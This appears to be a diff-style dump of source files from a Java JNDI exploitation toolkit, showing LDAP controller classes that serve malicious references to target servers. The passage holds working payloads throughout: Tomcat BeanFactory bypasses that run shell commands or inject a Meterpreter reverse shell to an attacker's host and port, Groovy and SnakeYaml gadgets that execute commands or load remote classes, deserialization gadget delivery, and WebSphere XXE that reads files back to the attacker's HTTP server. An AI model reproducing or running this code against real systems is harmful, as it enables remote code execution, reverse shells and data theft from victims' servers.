jscode = helper.injectMeterpreter();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
String payloadTemplate = "{" +
|
||||||
|
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
|
||||||
|
".newInstance().getEngineByName(\"JavaScript\")" +
|
||||||
|
".eval(\"{replacement}\")" +
|
||||||
|
"}";
|
||||||
|
String finalPayload = payloadTemplate.replace("{replacement}", jscode);
|
||||||
|
ref.add(new StringRefAddr("x", finalPayload));
|
||||||
|
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
} catch (Throwable er) {
|
||||||
|
System.err.println("Error while generating or serializing payload");
|
||||||
|
er.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
|
System.out.println("- JNDI LDAP Local Refenrence Links + ELProcessor");
|
||||||
|
try {
|
||||||
|
base = base.replace('\\', '/');
|
||||||
|
int fistIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
|
try {
|
||||||
|
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
|
||||||
|
if (thirdIndex != -1) {
|
||||||
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
try {
|
||||||
|
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.base64) {
|
||||||
|
String cmd = Util.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
params = new String[]{cmd};
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.shell) {
|
||||||
|
String cmd1 = Util.getCmdFromBase(base);
|
||||||
|
byte[] decodedBytes = Util.base64Decode(cmd1);
|
||||||
|
String cmd = new String(decodedBytes);
|
||||||
|
String[] cmdArray = cmd.split(" ");
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
params = cmdArray;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.msf) {
|
||||||
|
String[] results1 = Util.getIPAndPortFromBase(base);
|
||||||
|
Config.rhost = results1[0];
|
||||||
|
Config.rport = results1[1];
|
||||||
|
System.out.println("[+] RemotHost: " + results1[0]);
|
||||||
|
System.out.println("[+] RemotPort: " + results1[1]);
|
||||||
|
params = results1;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private class TomcatBypassHelper {
|
||||||
|
|
||||||
|
public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
|
||||||
|
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
|
||||||
|
Field WinClassName = ctClazz.getDeclaredField("host");
|
||||||
|
WinClassName.setAccessible(true);
|
||||||
|
WinClassName.set(ctClazz, params[0]);
|
||||||
|
Field WinclassBody = ctClazz.getDeclaredField("port");
|
||||||
|
WinclassBody.setAccessible(true);
|
||||||
|
WinclassBody.set(ctClazz, params[1]);
|
||||||
|
return InjShell.injectClass(ctClazz);
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getExecCode(String cmd) throws IOException {
|
||||||
|
|
||||||
|
String code = "var strs=new Array(3);\n" +
|
||||||
|
" if(java.io.File.separator.equals('/')){\n" +
|
||||||
|
" strs[0]='/bin/bash';\n" +
|
||||||
|
" strs[1]='-c';\n" +
|
||||||
|
" strs[2]='" + cmd + "';\n" +
|
||||||
|
" }else{\n" +
|
||||||
|
" strs[0]='cmd';\n" +
|
||||||
|
" strs[1]='/C';\n" +
|
||||||
|
" strs[2]='" + cmd + "';\n" +
|
||||||
|
" }\n" +
|
||||||
|
" java.lang.Runtime.getRuntime().exec(strs);";
|
||||||
|
|
||||||
|
return code;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,82 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.PayloadType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Requires:
|
||||||
|
* - Tomcat and Groovy in classpath
|
||||||
|
*
|
||||||
|
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
|
||||||
|
*
|
||||||
|
* Groovy 语法参考:
|
||||||
|
* - https://xz.aliyun.com/t/8231#toc-7
|
||||||
|
* - https://my.oschina.net/jjyuangu/blog/1815945
|
||||||
|
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
|
||||||
|
*/
|
||||||
|
|
||||||
|
@LdapMapping(uri = {"/groovy"})
|
||||||
|
public class GroovyController implements LdapController {
|
||||||
|
private PayloadType type;
|
||||||
|
private String[] params;
|
||||||
|
private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
|
||||||
|
" ['cmd','/C', '${cmd}'].execute();\n" +
|
||||||
|
" } else {\n" +
|
||||||
|
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
|
||||||
|
" }";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||||
|
|
||||||
|
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
|
||||||
|
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
|
ref.add(new StringRefAddr("forceString", "x=evaluate"));
|
||||||
|
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
|
||||||
|
|
||||||
|
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||||
|
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
|
System.out.println("- JNDI LDAP Local Refenrence Links + Groovy");
|
||||||
|
try {
|
||||||
|
int firstIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||||
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
|
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||||
|
if (payloadType.equalsIgnoreCase("command")) {
|
||||||
|
type = PayloadType.valueOf("command");
|
||||||
|
//System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
|
||||||
|
} else {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
|
||||||
|
}
|
||||||
|
|
||||||
|
String cmd = Util.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
params = new String[]{cmd};
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
|
||||||
|
public interface LdapController {
|
||||||
|
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
|
||||||
|
|
||||||
|
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import java.lang.annotation.ElementType;
|
||||||
|
import java.lang.annotation.Retention;
|
||||||
|
import java.lang.annotation.RetentionPolicy;
|
||||||
|
import java.lang.annotation.Target;
|
||||||
|
|
||||||
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
|
@Target(ElementType.TYPE)
|
||||||
|
public @interface LdapMapping {
|
||||||
|
String[] uri();
|
||||||
|
}
|
||||||
@@ -0,0 +1,74 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
|
||||||
|
@LdapMapping(uri = {"/memoryxxe"})
|
||||||
|
public class MemoryXXEController implements LdapController{
|
||||||
|
private String payloadType;
|
||||||
|
private String[] params;
|
||||||
|
private GadgetType gadgetType;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
e.addAttribute("javaClassName", "java.lang.String");
|
||||||
|
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
|
||||||
|
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
|
||||||
|
ref.add(new StringRefAddr("pathname", params[0]));
|
||||||
|
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||||
|
System.out.println("- JNDI LDAP Local Refenrence Links + MemoryXXE");
|
||||||
|
try {
|
||||||
|
base = base.replace('\\', '/');
|
||||||
|
int fistIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
|
try {
|
||||||
|
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||||
|
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
|
||||||
|
if (thirdIndex != -1) {
|
||||||
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
try {
|
||||||
|
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.base64) {
|
||||||
|
String cmd = Util.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
||||||
|
params = new String[]{cmd};
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import javax.naming.RefAddr;
|
||||||
|
import java.util.Properties;
|
||||||
|
|
||||||
|
//this is a stub class required by WebSphere2 ldap handler
|
||||||
|
public class PropertiesRefAddr extends RefAddr {
|
||||||
|
private static final long serialVersionUID = 288055886942232156L;
|
||||||
|
private Properties props;
|
||||||
|
|
||||||
|
public PropertiesRefAddr(String addrType, Properties props) {
|
||||||
|
super(addrType);
|
||||||
|
this.props = props;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getContent() {
|
||||||
|
return this.props;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,118 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.enumtypes.PayloadType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
|
import org.apache.commons.cli.CommandLine;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
@LdapMapping(uri = {"/deserialization"})
|
||||||
|
public class SerializedDataController implements LdapController {
|
||||||
|
public static String gadgetType;
|
||||||
|
public static String cmd11;
|
||||||
|
public static GadgetType gadgetType1;
|
||||||
|
public static CommandLine cmdLine;
|
||||||
|
private PayloadType payloadType;
|
||||||
|
private String params;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
|
||||||
|
byte[] bytes;
|
||||||
|
|
||||||
|
try {
|
||||||
|
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
|
||||||
|
ObjectPayload payload = payloadClass.newInstance();
|
||||||
|
Object object = payload.getObject(params);
|
||||||
|
|
||||||
|
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
|
||||||
|
bytes = (byte[]) object;
|
||||||
|
} else {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
bytes = Serializer.serialize(object, out);
|
||||||
|
}
|
||||||
|
|
||||||
|
e.addAttribute("javaClassName", "foo");
|
||||||
|
e.addAttribute("javaSerializedData", bytes);
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
} catch (Throwable er) {
|
||||||
|
System.err.println("Error while generating or serializing payload");
|
||||||
|
er.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
|
||||||
|
System.out.println("- JNDI Deserialization Links ");
|
||||||
|
try {
|
||||||
|
base = base.replace('\\', '/');
|
||||||
|
int firstIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||||
|
try {
|
||||||
|
gadgetType = base.substring(firstIndex + 1, secondIndex);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gaddget: " + gadgetType).reset());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
int fourIndex = base.indexOf("/", thirdIndex + 1);
|
||||||
|
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
|
||||||
|
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
|
||||||
|
// 若第三个斜杠不存在,则把其设置成为字符串的长度
|
||||||
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
try {
|
||||||
|
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
|
||||||
|
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
|
||||||
|
payloadType = PayloadType.valueOf(Ty3.toLowerCase());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType == PayloadType.sethttp) {
|
||||||
|
params = BCEL1;
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (payloadType == PayloadType.command) {
|
||||||
|
|
||||||
|
if (gadgetType1 == GadgetType.base64) {
|
||||||
|
cmd11 = Util.getCmdFromBase(base);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType1 == GadgetType.base64Two) {
|
||||||
|
String encodedString = Util.getCmdFromBase(base);
|
||||||
|
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
|
||||||
|
String T1 = new String(decodedBytes);
|
||||||
|
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
|
||||||
|
cmd11 = new String(decodedBytes1);
|
||||||
|
}
|
||||||
|
|
||||||
|
params = cmd11;
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset());
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
|
||||||
|
@LdapMapping(uri = {"/snakeyaml"})
|
||||||
|
public class SnakeYamlController implements LdapController {
|
||||||
|
private String payloadType;
|
||||||
|
private String[] params;
|
||||||
|
private GadgetType gadgetType;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
e.addAttribute("javaClassName", "java.lang.String");
|
||||||
|
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
||||||
|
true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
|
String yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||||
|
" !!java.net.URLClassLoader [[\n" +
|
||||||
|
" !!java.net.URL [\"" + params[0] + "\"]\n" +
|
||||||
|
" ]]\n" +
|
||||||
|
"]";
|
||||||
|
ref.add(new StringRefAddr("forceString", "a=load"));
|
||||||
|
ref.add(new StringRefAddr("a", yaml));
|
||||||
|
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||||
|
System.out.println("- JNDI LDAP Local Refenrence Links + SnakeYaml");
|
||||||
|
try {
|
||||||
|
base = base.replace('\\', '/');
|
||||||
|
int fistIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
|
try {
|
||||||
|
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||||
|
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
|
||||||
|
if (thirdIndex != -1) {
|
||||||
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
try {
|
||||||
|
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (gadgetType == GadgetType.base64) {
|
||||||
|
String cmd = Util.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
||||||
|
params = new String[]{cmd};
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,136 @@
|
|||||||
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.PayloadType;
|
||||||
|
import com.qi4l.JYso.enumtypes.WebsphereActionType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Util;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
|
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
import java.util.Properties;
|
||||||
|
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Requires:
|
||||||
|
* - websphere v6-9 libraries in the classpath
|
||||||
|
*/
|
||||||
|
|
||||||
|
@LdapMapping(uri = {"/websphere"})
|
||||||
|
public class WebsphereController implements LdapController {
|
||||||
|
private WebsphereActionType actionType;
|
||||||
|
private String localJarPath;
|
||||||
|
private String injectUrl;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
|
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base));
|
||||||
|
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||||
|
|
||||||
|
Reference ref;
|
||||||
|
if (actionType == WebsphereActionType.rce) {
|
||||||
|
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
|
||||||
|
ref = new Reference("ExportObject",
|
||||||
|
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
|
||||||
|
Properties refProps = new Properties();
|
||||||
|
refProps.put("com.ibm.ws.client.classpath", localJarPath);
|
||||||
|
refProps.put("com.ibm.ws.client.classname", "xExportObject");
|
||||||
|
// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
|
||||||
|
|
||||||
|
} else {
|
||||||
|
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
|
||||||
|
ref = new Reference("ExploitObject",
|
||||||
|
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
|
||||||
|
ref.add(new StringRefAddr("WSDL location", injectUrl));
|
||||||
|
ref.add(new StringRefAddr("service namespace", "xxx"));
|
||||||
|
ref.add(new StringRefAddr("service local part", "yyy"));
|
||||||
|
}
|
||||||
|
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||||
|
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
|
||||||
|
try {
|
||||||
|
int firstIndex = base.indexOf("/");
|
||||||
|
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||||
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
|
try {
|
||||||
|
actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType));
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex));
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (actionType) {
|
||||||
|
case list:
|
||||||
|
String file = base.substring(base.lastIndexOf("=") + 1);
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file));
|
||||||
|
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
|
||||||
|
break;
|
||||||
|
case rce:
|
||||||
|
